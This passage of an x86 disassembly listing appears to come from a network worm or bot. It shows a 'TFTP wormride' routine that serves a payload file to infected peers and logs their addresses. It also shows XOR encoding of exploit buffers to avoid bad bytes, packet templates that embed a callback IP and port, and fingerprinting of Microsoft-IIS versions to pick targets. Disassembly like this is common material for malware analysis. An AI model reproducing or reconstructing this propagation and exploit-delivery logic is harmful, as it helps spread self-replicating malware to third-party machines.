edi jmp loc_40D58F ; --------------------------------------------------------------------------- loc_40D2D8: ; CODE XREF: sub_40D201+CFj mov eax, [ebp+var_478] push dword ptr [eax] lea eax, [ebp+var_474] push offset unk_416280 push eax call sub_408D50 push esi push ebx push [ebp+arg_0] call sub_410886 ; fseek push [ebp+arg_0] call sub_41085C ; ftell push ebx push ebx push [ebp+arg_0] mov [ebp+var_14], eax call sub_410886 ; fseek push 80h lea eax, [ebp+var_CC] push ebx push eax call sub_410850 ; memset mov esi, ds:dword_411268 add esp, 34h loc_40D32B: ; CODE XREF: sub_40D201+1A2j ; sub_40D201+1A7j ... push 1 mov ecx, [ebp+var_4] pop eax mov [ebp+var_28], ebx mov [ebp+var_2C], eax mov [ebp+var_D7C], eax lea eax, [ebp+var_2C] mov [ebp+var_D78], ecx push eax push ebx lea eax, [ebp+var_D7C] push ebx push eax push ebx call ds:dword_411214 ; select test eax, eax jle loc_40D574 mov al, byte_417B60 mov ecx, 80h mov [ebp+var_2D0], al xor eax, eax lea edi, [ebp+var_2CF] mov [ebp+var_8], 10h rep stosd stosw stosb lea eax, [ebp+var_8] push eax lea eax, [ebp+var_24] push eax push ebx lea eax, [ebp+var_CC] push 80h push eax push [ebp+var_4] call ds:dword_411264 ; recvfrom cmp eax, ebx jz short loc_40D32B cmp eax, 0FFFFFFFFh jz short loc_40D32B cmp [ebp+var_CC], bl jnz loc_40D560 cmp [ebp+var_CB], 1 jnz loc_40D45E lea eax, [ebp+var_CA] push eax call sub_410826 ; strlen mov edi, offset aOctet ; "octet" lea eax, [ebp+eax+var_C9] push edi mov [ebp+var_C], eax call sub_410826 ; strlen push eax push [ebp+var_C] push edi call sub_4108E0 ; strncmp add esp, 14h test eax, eax jz short loc_40D409 push [ebp+var_8] lea eax, [ebp+var_24] push eax push ebx push 13h push offset dword_416264 jmp loc_40D56F ; --------------------------------------------------------------------------- loc_40D409: ; CODE XREF: sub_40D201+1F2j push ebx push ebx push [ebp+arg_0] call sub_410886 ; fseek push [ebp+arg_0] lea eax, [ebp+var_2CC] mov [ebp+var_2D0], bl mov [ebp+var_2CF], 3 push 200h push 1 push eax mov [ebp+var_2CE], bl mov [ebp+var_2CD], 1 call sub_410880 ; fread add esp, 1Ch lea ecx, [ebp+var_24] add eax, 4 push [ebp+var_8] push ecx push ebx push eax lea eax, [ebp+var_2D0] push eax jmp loc_40D56F ; --------------------------------------------------------------------------- loc_40D45E: ; CODE XREF: sub_40D201+1BCj cmp [ebp+var_CB], 4 jnz loc_40D560 mov cl, [ebp+var_C9] mov al, [ebp+var_CA] cmp cl, 0FFh mov [ebp+var_2D0], bl mov [ebp+var_2CF], 3 jnz short loc_40D49B inc al xor cl, cl mov [ebp+var_2CE], al mov [ebp+var_2CD], bl jmp short loc_40D4A9 ; --------------------------------------------------------------------------- loc_40D49B: ; CODE XREF: sub_40D201+286j inc cl mov [ebp+var_2CE], al mov [ebp+var_2CD], cl loc_40D4A9: ; CODE XREF: sub_40D201+298j movzx eax, al movzx ecx, cl shl eax, 8 push ebx lea eax, [eax+ecx-1] shl eax, 9 push eax mov [ebp+var_C], eax push [ebp+arg_0] call sub_410886 ; fseek push [ebp+arg_0] lea eax, [ebp+var_2CC] push 200h push 1 push eax call sub_410880 ; fread add esp, 1Ch mov edi, eax lea eax, [ebp+var_24] push [ebp+var_8] push eax lea eax, [edi+4] push ebx push eax lea eax, [ebp+var_2D0] push eax push [ebp+var_4] call esi ; sendto cmp edi, ebx jnz short loc_40D574 mov eax, [ebp+var_C] cmp eax, [ebp+var_14] jb short loc_40D574 mov edi, [ebp+var_20] push edi push offset dword_418840 call sub_406B0B pop ecx cmp eax, edi pop ecx jz short loc_40D574 push 1 push offset dword_418844 call sub_406AFA pop ecx mov edi, eax pop ecx push 10h push [ebp+var_20] call ds:dword_411230 ; inet_ntoa push eax lea eax, [ebp+var_4C] push eax call sub_4052A6 add esp, 0Ch lea eax, [ebp+var_4C] inc edi push eax push edi push offset aWormride ; "wormride" push offset unk_416228 push offset dword_4177EC call sub_408CDE add esp, 14h jmp short loc_40D574 ; --------------------------------------------------------------------------- loc_40D560: ; CODE XREF: sub_40D201+1AFj ; sub_40D201+264j push [ebp+var_8] lea eax, [ebp+var_24] push eax push ebx push 9 push offset dword_41621C loc_40D56F: ; CODE XREF: sub_40D201+203j ; sub_40D201+258j push [ebp+var_4] call esi ; sendto loc_40D574: ; CODE XREF: sub_40D201+158j ; sub_40D201+2FAj ... mov eax, [ebp+var_478] cmp [eax+4], ebx jz loc_40D32B push [ebp+arg_0] call sub_410868 ; fclose pop ecx push [ebp+var_4] loc_40D58F: ; CODE XREF: sub_40D201+D2j call ds:dword_411240 ; closesocket loc_40D595: ; CODE XREF: sub_40D201+41j ; sub_40D201+B3j push [ebp+var_478] call sub_406753 pop ecx pop edi pop esi xor eax, eax pop ebx leave retn 4 sub_40D201 endp ; =============== S U B R O U T I N E ======================================= sub_40D5AA proc near ; CODE XREF: sub_40735A+2F4p ; sub_40735A+30Ap arg_0 = dword ptr 4 push esi push 1A7h call sub_41082C ; malloc mov esi, eax pop ecx test esi, esi jz short loc_40D5ED push edi mov edi, [esp+8+arg_0] lea eax, [esi+4] push edi push eax call sub_403E60 xor eax, eax pop ecx cmp [edi+18Bh], al pop ecx push offset aTftpWormrideTh ; "TFTP wormride thread" setz al push eax push esi push offset sub_40D201 call sub_40663C add esp, 10h pop edi loc_40D5ED: ; CODE XREF: sub_40D5AA+10j pop esi retn sub_40D5AA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D5EF proc near ; CODE XREF: sub_40D700+62p ; sub_40D700+84p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h push ebp mov ebp, esp xor edx, edx push esi cmp [ebp+arg_4], edx jbe short loc_40D61E loc_40D5FA: ; CODE XREF: sub_40D5EF+2Dj xor ecx, ecx cmp [ebp+arg_C], ecx jbe short loc_40D618 mov eax, [ebp+arg_0] mov al, [edx+eax] xor al, [ebp+arg_10] loc_40D60A: ; CODE XREF: sub_40D5EF+27j mov esi, [ebp+arg_8] cmp al, [ecx+esi] jz short loc_40D623 inc ecx cmp ecx, [ebp+arg_C] jb short loc_40D60A loc_40D618: ; CODE XREF: sub_40D5EF+10j inc edx cmp edx, [ebp+arg_4] jb short loc_40D5FA loc_40D61E: ; CODE XREF: sub_40D5EF+9j xor eax, eax loc_40D620: ; CODE XREF: sub_40D5EF+37j pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_40D623: ; CODE XREF: sub_40D5EF+21j push 1 pop eax jmp short loc_40D620 sub_40D5EF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D628 proc near ; CODE XREF: sub_40BE08+36p ; sub_40C225+50p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp cmp [ebp+arg_8], 1 push ebx push esi push edi jnz short loc_40D661 mov eax, 0B2h cmp [ebp+arg_4], eax jb short loc_40D69E mov esi, [ebp+arg_0] push eax push offset dword_41645C push esi mov [ebp+arg_4], eax call sub_410838 ; memcpy add esp, 0Ch lea ebx, [esi+8Fh] lea edi, [esi+88h] jmp short loc_40D6C3 ; --------------------------------------------------------------------------- loc_40D661: ; CODE XREF: sub_40D628+Aj cmp [ebp+arg_8], 2 jnz short loc_40D694 mov eax, 0C6h cmp [ebp+arg_4], eax jb short loc_40D69E mov esi, [ebp+arg_0] push eax push offset dword_416394 push esi mov [ebp+arg_4], eax call sub_410838 ; memcpy add esp, 0Ch lea edi, [esi+89h] add esi, 0C0h jmp short loc_40D6D8 ; --------------------------------------------------------------------------- loc_40D694: ; CODE XREF: sub_40D628+3Dj mov eax, 0B2h cmp [ebp+arg_4], eax jnb short loc_40D6A2 loc_40D69E: ; CODE XREF: sub_40D628+14j ; sub_40D628+47j xor eax, eax jmp short loc_40D6FB ; --------------------------------------------------------------------------- loc_40D6A2: ; CODE XREF: sub_40D628+74j mov esi, [ebp+arg_0] push eax push offset dword_4162E0 push esi mov [ebp+arg_4], eax call sub_410838 ; memcpy add esp, 0Ch lea ebx, [esi+86h] lea edi, [esi+8Dh] loc_40D6C3: ; CODE XREF: sub_40D628+37j add esi, 0ACh test ebx, ebx jz short loc_40D6D8 push [ebp+arg_C] call ds:dword_411254 ; inet_addr mov [ebx], eax loc_40D6D8: ; CODE XREF: sub_40D628+6Aj ; sub_40D628+A3j test edi, edi jz short loc_40D6EF push [ebp+arg_10] call sub_41088C ; atoi pop ecx push eax call ds:dword_411248 ; htons mov [edi], ax loc_40D6EF: ; CODE XREF: sub_40D628+B2j test esi, esi jz short loc_40D6F8 mov eax, [ebp+arg_14] mov [esi], eax loc_40D6F8: ; CODE XREF: sub_40D628+C9j mov eax, [ebp+arg_4] loc_40D6FB: ; CODE XREF: sub_40D628+78j pop edi pop esi pop ebx pop ebp retn sub_40D628 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D700 proc near ; CODE XREF: sub_40AE3D+3Dp ; seg000:0040B159p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push ecx cmp [ebp+arg_4], 1Ch push esi push edi jb short loc_40D735 push [ebp+arg_14] mov esi, [ebp+arg_0] push [ebp+arg_10] lea eax, [esi+1Ch] mov [ebp+var_4], eax push [ebp+arg_C] push [ebp+arg_8] push 1E4h push eax call sub_40D628 mov edi, eax add esp, 18h test edi, edi jnz short loc_40D73C loc_40D735: ; CODE XREF: sub_40D700+Aj xor eax, eax jmp loc_40D7F9 ; --------------------------------------------------------------------------- loc_40D73C: ; CODE XREF: sub_40D700+33j push 1Ch push offset loc_4162C0 push esi call sub_410838 ; memcpy mov eax, dword_416690 add esp, 0Ch mov [ebp+arg_4], eax loc_40D754: ; CODE XREF: sub_40D700+9Dj push 0 lea eax, [ebp+arg_4] push [ebp+arg_1C] push [ebp+arg_18] push 4 push eax call sub_40D5EF add esp, 14h test eax, eax jnz short loc_40D790 mov eax, [ebp+arg_4] push 0 push [ebp+arg_1C] xor eax, edi mov [ebp+arg_14], eax lea eax, [ebp+arg_14] push [ebp+arg_18] push 4 push eax call sub_40D5EF add esp, 14h test eax, eax jz short loc_40D79F loc_40D790: ; CODE XREF: sub_40D700+6Cj call sub_40AB05 mov [ebp+arg_4], eax mov dword_416690, eax jmp short loc_40D754 ; --------------------------------------------------------------------------- loc_40D79F: ; CODE XREF: sub_40D700+8Ej mov eax, [ebp+arg_4] push ebx mov [esi+3], eax mov eax, [ebp+arg_14] mov [esi+9], eax mov bl, byte_41668D mov byte ptr [ebp+arg_0], bl loc_40D7B5: ; CODE XREF: sub_40D700+DEj push [ebp+arg_0] push [ebp+arg_1C] push [ebp+arg_18] push edi push [ebp+var_4] call sub_40D5EF add esp, 14h test eax, eax jz short loc_40D7E0 call sub_40AB18 mov bl, al mov byte ptr [ebp+arg_0], bl mov byte_41668D, bl jmp short loc_40D7B5 ; --------------------------------------------------------------------------- loc_40D7E0: ; CODE XREF: sub_40D700+CCj xor eax, eax mov [esi+12h], bl test edi, edi jbe short loc_40D7F5 loc_40D7E9: ; CODE XREF: sub_40D700+F3j mov ecx, [ebp+var_4] add ecx, eax xor [ecx], bl inc eax cmp eax, edi jb short loc_40D7E9 loc_40D7F5: ; CODE XREF: sub_40D700+E7j lea eax, [edi+1Ch] pop ebx loc_40D7F9: ; CODE XREF: sub_40D700+37j pop edi pop esi leave retn sub_40D700 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D7FD proc near ; CODE XREF: sub_40DA6E+Fp ; sub_40DB90+51p ... var_18C = byte ptr -18Ch var_E4 = byte ptr -0E4h var_10 = byte ptr -10h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18Ch push esi push edi push 8 push 4 call sub_40AADE push 7Ah push 61h mov edi, eax call sub_40AADE add esp, 10h mov [ebp+var_10], al push 1 pop esi cmp edi, esi jz short loc_40D83D loc_40D829: ; CODE XREF: sub_40D7FD+3Ej push 7Ah push 61h call sub_40AADE mov [ebp+esi+var_10], al inc esi pop ecx cmp esi, edi pop ecx jnz short loc_40D829 loc_40D83D: ; CODE XREF: sub_40D7FD+2Aj lea eax, [ebp+esi+var_10] push offset dword_412620 push eax call sub_410820 ; _mbscpy mov esi, 17Ch lea eax, [ebp+var_18C] push esi push offset dword_416510 push eax call sub_410838 ; memcpy lea eax, [ebp+var_10] push eax lea eax, [ebp+var_E4] push eax call sub_410820 ; _mbscpy lea eax, [ebp+var_18C] push esi push eax push [ebp+arg_0] call sub_403D54 add esp, 28h pop edi pop esi leave retn sub_40D7FD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D88A proc near ; CODE XREF: sub_40DA6E+EAp ; sub_40DB90+75p ... var_240 = byte ptr -240h var_40 = byte ptr -40h var_20 = byte ptr -20h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 240h push ebx push esi push edi xor edi, edi cmp dword_41884C, edi push 1 pop ebx jnz short loc_40D915 cmp off_4177B8, edi mov dword_41884C, ebx jz short loc_40D915 mov eax, offset off_4177B8 xor esi, esi loc_40D8B8: ; CODE XREF: sub_40D88A+81j push 20h push dword ptr [eax] lea eax, [ebp+var_20] push eax call sub_4052A6 push 20h lea eax, [ebp+var_40] push off_416698[esi] push eax call sub_4052A6 lea eax, [ebp+var_20] push eax call sub_40AC15 lea eax, [ebp+var_40] push eax call sub_40AC15 lea eax, [ebp+var_40] push eax lea eax, [ebp+var_20] push eax call sub_410AEE ; strcmp add esp, 28h test eax, eax jnz short loc_40D90F add esi, 0Ch cmp off_4177B8[esi], edi lea eax, off_4177B8[esi] jnz short loc_40D8B8 jmp short loc_40D915 ; --------------------------------------------------------------------------- loc_40D90F: ; CODE XREF: sub_40D88A+70j mov dword_418850, ebx loc_40D915: ; CODE XREF: sub_40D88A+17j ; sub_40D88A+25j ... cmp dword_418850, edi jnz short loc_40D97A push offset aRb ; "rb" push offset dword_418970 call sub_41086E ; fopen mov edi, eax pop ecx test edi, edi pop ecx jz short loc_40D97C mov esi, 200h push edi push esi lea eax, [ebp+var_240] push ebx push eax call sub_410880 ; fread add esp, 10h loc_40D94B: ; CODE XREF: sub_40D88A+E7j test eax, eax jz short loc_40D973 push eax lea eax, [ebp+var_240] push eax push [ebp+arg_0] call sub_403D54 push edi push esi lea eax, [ebp+var_240] push ebx push eax call sub_410880 ; fread add esp, 1Ch jmp short loc_40D94B ; --------------------------------------------------------------------------- loc_40D973: ; CODE XREF: sub_40D88A+C3j push edi call sub_410868 ; fclose pop ecx loc_40D97A: ; CODE XREF: sub_40D88A+91j mov eax, ebx loc_40D97C: ; CODE XREF: sub_40D88A+A8j pop edi pop esi pop ebx leave retn sub_40D88A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D981 proc near ; CODE XREF: sub_40DB90+57p ; sub_40DC48+12p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push 0EA60h push [ebp+arg_0] call sub_403DD6 pop ecx test eax, eax pop ecx jnz short loc_40D99E leave retn ; --------------------------------------------------------------------------- loc_40D99E: ; CODE XREF: sub_40D981+19j push 0 lea eax, [ebp+var_4] push 4 push eax push [ebp+arg_0] call ds:dword_411258 ; recv mov eax, [ebp+var_4] leave retn sub_40D981 endp ; =============== S U B R O U T I N E ======================================= sub_40D9B4 proc near ; CODE XREF: sub_40DB90+67p ; sub_40DC48+22p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edi xor edi, edi xor eax, eax cmp off_416796, edi jz short loc_40DA03 mov ecx, offset off_416796 loc_40D9C6: ; CODE XREF: sub_40D9B4+21j mov edx, [ecx-8] cmp edx, [esp+4+arg_0] jz short loc_40D9D9 add ecx, 3Ah inc eax cmp [ecx], edi jnz short loc_40D9C6 jmp short loc_40DA03 ; --------------------------------------------------------------------------- loc_40D9D9: ; CODE XREF: sub_40D9B4+19j imul eax, 3Ah push esi mov esi, [esp+8+arg_4] lea edi, dword_416768[eax] push 3Ah push edi push esi call sub_410838 ; memcpy push esi call sub_40AC4E add esi, 13h push esi call sub_40AC4E add esp, 14h pop esi loc_40DA03: ; CODE XREF: sub_40D9B4+Bj ; sub_40D9B4+23j mov eax, edi pop edi retn sub_40D9B4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DA07 proc near ; CODE XREF: sub_40DA6E+103p ; sub_40DB90+8Ap ... var_100 = byte ptr -100h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 100h mov eax, [ebp+arg_0] push esi add eax, 2Ah push 1 push eax call sub_406AFA mov esi, eax lea eax, [ebp+var_100] push eax push [ebp+arg_8] call sub_403495 add esp, 10h test eax, eax jnz short loc_40DA4A lea eax, [ebp+var_100] push offset aUnknown ; "unknown" push eax call sub_410820 ; _mbscpy pop ecx pop ecx loc_40DA4A: ; CODE XREF: sub_40DA07+2Ej lea eax, [ebp+var_100] inc esi push eax push esi push [ebp+arg_C] push [ebp+arg_4] push offset unk_414074 push offset dword_4177EC call sub_408CDE add esp, 18h pop esi leave retn sub_40DA07 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DA6E proc near ; CODE XREF: sub_40E03D+119p var_244 = dword ptr -244h var_40 = byte ptr -40h var_2D = byte ptr -2Dh var_1A = dword ptr -1Ah var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 244h push ebx push esi push edi push [ebp+arg_4] call sub_40D7FD push 3Ah lea eax, [ebp+var_40] push [ebp+arg_0] push eax call sub_410838 ; memcpy lea eax, [ebp+var_40] push eax call sub_40AC4E lea eax, [ebp+var_2D] push eax call sub_40AC4E mov edi, 203h lea eax, [ebp+var_244] push edi push 0 push eax call sub_410850 ; memset add esp, 24h and [ebp+var_4], 0 mov ebx, 3E8h mov esi, 200h loc_40DAC7: ; CODE XREF: sub_40DA6E+DFj push ebx push [ebp+arg_4] call sub_403DD6 pop ecx test eax, eax pop ecx jz short loc_40DB46 lea eax, [ebp+var_244+3] push esi push eax push [ebp+arg_4] call sub_403D69 add esp, 0Ch cmp eax, 0FFFFFFFFh jz loc_40DB8B xor ecx, ecx cmp eax, ecx jz short loc_40DB35 jbe short loc_40DB0B loc_40DAFA: ; CODE XREF: sub_40DA6E+9Bj mov edx, [ebp+ecx+var_244] cmp edx, [ebp+var_1A] jz short loc_40DB55 inc ecx cmp ecx, eax jb short loc_40DAFA loc_40DB0B: ; CODE XREF: sub_40DA6E+8Aj lea eax, [ebp+eax+var_244] push 3 push eax lea eax, [ebp+var_244] push eax call sub_410838 ; memcpy push esi lea eax, [ebp+var_244+3] push 0 push eax call sub_410850 ; memset add esp, 18h jmp short loc_40DB46 ; --------------------------------------------------------------------------- loc_40DB35: ; CODE XREF: sub_40DA6E+88j push edi lea eax, [ebp+var_244] push ecx push eax call sub_410850 ; memset add esp, 0Ch loc_40DB46: ; CODE XREF: sub_40DA6E+66j ; sub_40DA6E+C5j inc [ebp+var_4] cmp [ebp+var_4], 3Ch jnz loc_40DAC7 jmp short loc_40DB8B ; --------------------------------------------------------------------------- loc_40DB55: ; CODE XREF: sub_40DA6E+96j push [ebp+arg_4] call sub_40D88A test eax, eax pop ecx jz short loc_40DB8B push offset dword_416700 lea eax, [ebp+var_40] push [ebp+arg_4] push eax push [ebp+arg_0] call sub_40DA07 add esp, 10h push 1 push [ebp+arg_4] call ds:dword_411210 ; shutdown push ebx call ds:dword_4110A4 ; Sleep loc_40DB8B: ; CODE XREF: sub_40DA6E+7Ej ; sub_40DA6E+E5j ... pop edi pop esi pop ebx leave retn sub_40DA6E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DB90 proc near ; CODE XREF: sub_40E03D+134p var_848 = dword ptr -848h var_844 = dword ptr -844h var_44 = byte ptr -44h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 848h push ebx push esi push edi xor edi, edi push edi push [ebp+arg_4] push [ebp+arg_0] call sub_403AFB add esp, 0Ch mov esi, eax lea eax, [ebp+var_8] mov [ebp+var_8], 3Ch push 1 mov [ebp+var_4], edi pop ebx mov [ebp+var_844], esi push eax lea eax, [ebp+var_848] push edi push eax push edi push edi mov [ebp+var_848], ebx call ds:dword_411214 ; select cmp eax, ebx push esi jnz short loc_40DC37 call sub_40D7FD push esi call sub_40D981 pop ecx cmp eax, edi pop ecx jz short loc_40DC36 lea ecx, [ebp+var_44] push ecx push eax call sub_40D9B4 pop ecx mov ebx, eax pop ecx cmp ebx, edi push esi jz short loc_40DC37 call sub_40D88A test eax, eax pop ecx jz short loc_40DC36 push offset dword_416704 lea eax, [ebp+var_44] push esi push eax push ebx call sub_40DA07 add esp, 10h push 1 push esi call ds:dword_411210 ; shutdown push 3E8h call ds:dword_4110A4 ; Sleep loc_40DC36: ; CODE XREF: sub_40DB90+60j ; sub_40DB90+7Dj push esi loc_40DC37: ; CODE XREF: sub_40DB90+4Fj ; sub_40DB90+73j call sub_403D49 pop ecx pop edi pop esi pop ebx leave retn sub_40DB90 endp ; =============== S U B R O U T I N E ======================================= sub_40DC42 proc near ; CODE XREF: sub_40E03D:loc_40E111p mov eax, offset dword_418854 retn sub_40DC42 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DC48 proc near ; DATA XREF: sub_40DCB8+AAo var_3C = byte ptr -3Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3Ch push esi mov esi, [ebp+arg_0] push edi push esi call sub_40D7FD push esi call sub_40D981 pop ecx test eax, eax pop ecx jz short loc_40DCA9 lea ecx, [ebp+var_3C] push ecx push eax call sub_40D9B4 pop ecx mov edi, eax pop ecx test edi, edi push esi jz short loc_40DCAA call sub_40D88A test eax, eax pop ecx jz short loc_40DCA9 push offset dword_416708 lea eax, [ebp+var_3C] push esi push eax push edi call sub_40DA07 add esp, 10h push 1 push esi call ds:dword_411210 ; shutdown push 3E8h call ds:dword_4110A4 ; Sleep loc_40DCA9: ; CODE XREF: sub_40DC48+1Bj ; sub_40DC48+38j push esi loc_40DCAA: ; CODE XREF: sub_40DC48+2Ej call sub_403D49 pop ecx pop edi xor eax, eax pop esi leave retn 4 sub_40DC48 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DCB8 proc near ; DATA XREF: sub_40DD96+83o var_1B0 = dword ptr -1B0h var_1AC = byte ptr -1ACh var_1A6 = byte ptr -1A6h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1B0h push edi push 1ADh push [ebp+arg_0] lea eax, [ebp+var_1B0] push eax call sub_410838 ; memcpy push [ebp+arg_0] call sub_410832 ; free lea eax, [ebp+var_1AC] push 1 push eax call sub_4035FB mov edi, eax add esp, 18h test edi, edi jnz short loc_40DD08 push [ebp+var_1B0] call sub_406753 pop ecx xor eax, eax jmp loc_40DD91 ; --------------------------------------------------------------------------- loc_40DD08: ; CODE XREF: sub_40DCB8+3Bj lea eax, [ebp+var_1AC] push esi push eax mov eax, [ebp+var_1B0] push dword ptr [eax] lea eax, [ebp+var_1A6] push offset dword_41670C push eax call sub_408D50 lea eax, [ebp+var_1AC] push eax push offset dword_418854 call sub_410820 ; _mbscpy add esp, 18h loc_40DD3D: ; CODE XREF: sub_40DCB8+A3j ; sub_40DCB8+B8j ... mov eax, [ebp+var_1B0] cmp dword ptr [eax+4], 0 jnz short loc_40DD7B push 3E8h push edi call sub_40371E mov esi, eax pop ecx cmp esi, 0FFFFFFFFh pop ecx jz short loc_40DD3D test esi, esi jz short loc_40DD7B push esi push offset sub_40DC48 call sub_406541 pop ecx test eax, eax pop ecx jnz short loc_40DD3D push esi call sub_403D49 pop ecx jmp short loc_40DD3D ; --------------------------------------------------------------------------- loc_40DD7B: ; CODE XREF: sub_40DCB8+8Fj ; sub_40DCB8+A7j push edi call sub_4038E1 push [ebp+var_1B0] call sub_406753 pop ecx xor eax, eax pop ecx pop esi loc_40DD91: ; CODE XREF: sub_40DCB8+4Bj pop edi leave retn 4 sub_40DCB8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DD96 proc near ; CODE XREF: sub_40735A+71Fp ; sub_40E18A+1FBp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push 1ADh call sub_41082C ; malloc test eax, eax pop ecx mov [ebp+var_4], eax jz short locret_40DE29 cmp [ebp+arg_4], 0 push ebx push esi push edi mov esi, 0FFFFh mov ebx, 401h jz short loc_40DDC9 push [ebp+arg_4] call sub_41088C ; atoi jmp short loc_40DDD1 ; --------------------------------------------------------------------------- loc_40DDC9: ; CODE XREF: sub_40DD96+27j push esi push ebx call sub_40AADE pop ecx loc_40DDD1: ; CODE XREF: sub_40DD96+31j mov edi, eax pop ecx test edi, edi jz short loc_40DDDC cmp edi, esi jbe short loc_40DDE7 loc_40DDDC: ; CODE XREF: sub_40DD96+40j push esi push ebx call sub_40AADE pop ecx mov edi, eax pop ecx loc_40DDE7: ; CODE XREF: sub_40DD96+44j mov esi, [ebp+var_4] push 0Ah lea eax, [esi+4] push eax push edi call sub_410C9A ; _itoa mov ebx, [ebp+arg_0] lea eax, [esi+0Ah] push ebx push eax call sub_403E60 xor eax, eax add esp, 14h cmp [ebx+18Bh], al push edi push offset dword_416744 setz al push eax push esi push offset sub_40DCB8 call sub_40663C add esp, 14h pop edi pop esi pop ebx locret_40DE29: ; CODE XREF: sub_40DD96+14j leave retn sub_40DD96 endp ; =============== S U B R O U T I N E ======================================= sub_40DE2B proc near ; CODE XREF: seg000:00410616p push ebx xor ebx, ebx cmp off_416796, ebx jz short loc_40DE7B push esi mov esi, offset off_416796 loc_40DE3C: ; CODE XREF: sub_40DE2B+4Dj mov eax, [esi-8] and eax, 0FFh sub [esi], eax and dword ptr [esi-4], 0 loc_40DE4A: ; CODE XREF: sub_40DE2B+29j ; sub_40DE2B+3Ej call sub_40AB05 test eax, eax mov [esi-8], eax jz short loc_40DE4A xor edx, edx mov ecx, offset word_41678E loc_40DE5D: ; CODE XREF: sub_40DE2B+44j cmp dword ptr [ecx+8], 0 jz short loc_40DE71 cmp ebx, edx jz short loc_40DE6B cmp eax, [ecx] jz short loc_40DE4A loc_40DE6B: ; CODE XREF: sub_40DE2B+3Aj inc edx add ecx, 3Ah jmp short loc_40DE5D ; --------------------------------------------------------------------------- loc_40DE71: ; CODE XREF: sub_40DE2B+36j add esi, 3Ah inc ebx cmp dword ptr [esi], 0 jnz short loc_40DE3C pop esi loc_40DE7B: ; CODE XREF: sub_40DE2B+9j pop ebx retn sub_40DE2B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DE7D proc near ; CODE XREF: sub_40E03D+6Ap var_808 = byte ptr -808h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 808h push ebx push esi push edi push 16h push offset aOptionsHttp1_0 ; "OPTIONS / HTTP/1.0\r\n\r\n" push [ebp+arg_0] call sub_403D54 push 0EA60h push [ebp+arg_0] call sub_403DD6 add esp, 14h test eax, eax jz loc_40E036 xor ebx, ebx mov esi, 800h push ebx lea eax, [ebp+var_808] push esi push eax push [ebp+arg_0] call ds:dword_411258 ; recv cmp eax, ebx jz loc_40E036 cmp eax, 0FFFFFFFFh jz loc_40E036 cmp eax, esi jz loc_40E036 mov [ebp+eax+var_808], bl lea eax, [ebp+var_808] push offset aServer ; "Server:" push eax mov [ebp+var_8], ebx call sub_410898 ; strstr pop ecx cmp eax, ebx pop ecx jz loc_40E036 lea ecx, [ebp+var_8] mov esi, offset dword_412F18 push ecx push esi push eax call sub_405733 add esp, 0Ch test eax, eax jz loc_40E036 lea eax, [ebp+var_8] push eax push esi push ebx call sub_405733 mov edi, eax add esp, 0Ch cmp edi, ebx jz loc_40E036 lea eax, [ebp+var_8] push eax push esi push ebx call sub_405733 push 0Dh push offset aMicrosoftIis ; "Microsoft-IIS" push edi mov [ebp+arg_0], eax call sub_410CA0 ; _strnicmp add esp, 18h test eax, eax jnz short loc_40DFBF lea eax, [ebp+arg_0] mov [ebp+var_4], ebx push eax lea eax, [ebp+var_4] push eax push offset aMicrosoftIisU_ ; "Microsoft-IIS/%u.%u" push edi mov [ebp+arg_0], ebx call sub_410892 ; sscanf add esp, 10h push 4 pop eax cmp [ebp+var_4], eax jnz short loc_40DF8E cmp [ebp+arg_0], ebx jnz loc_40E036 jmp loc_40E038 ; --------------------------------------------------------------------------- loc_40DF8E: ; CODE XREF: sub_40DE7D+101j cmp [ebp+var_4], 5 jnz short loc_40DFAB cmp [ebp+arg_0], ebx jnz short loc_40DF9D push 3 jmp short loc_40DFBC ; --------------------------------------------------------------------------- loc_40DF9D: ; CODE XREF: sub_40DE7D+11Aj cmp [ebp+arg_0], 5 jnz loc_40E036 push 2 jmp short loc_40DFBC ; --------------------------------------------------------------------------- loc_40DFAB: ; CODE XREF: sub_40DE7D+115j cmp [ebp+var_4], 6 jnz loc_40E036 cmp [ebp+arg_0], ebx jnz short loc_40E036 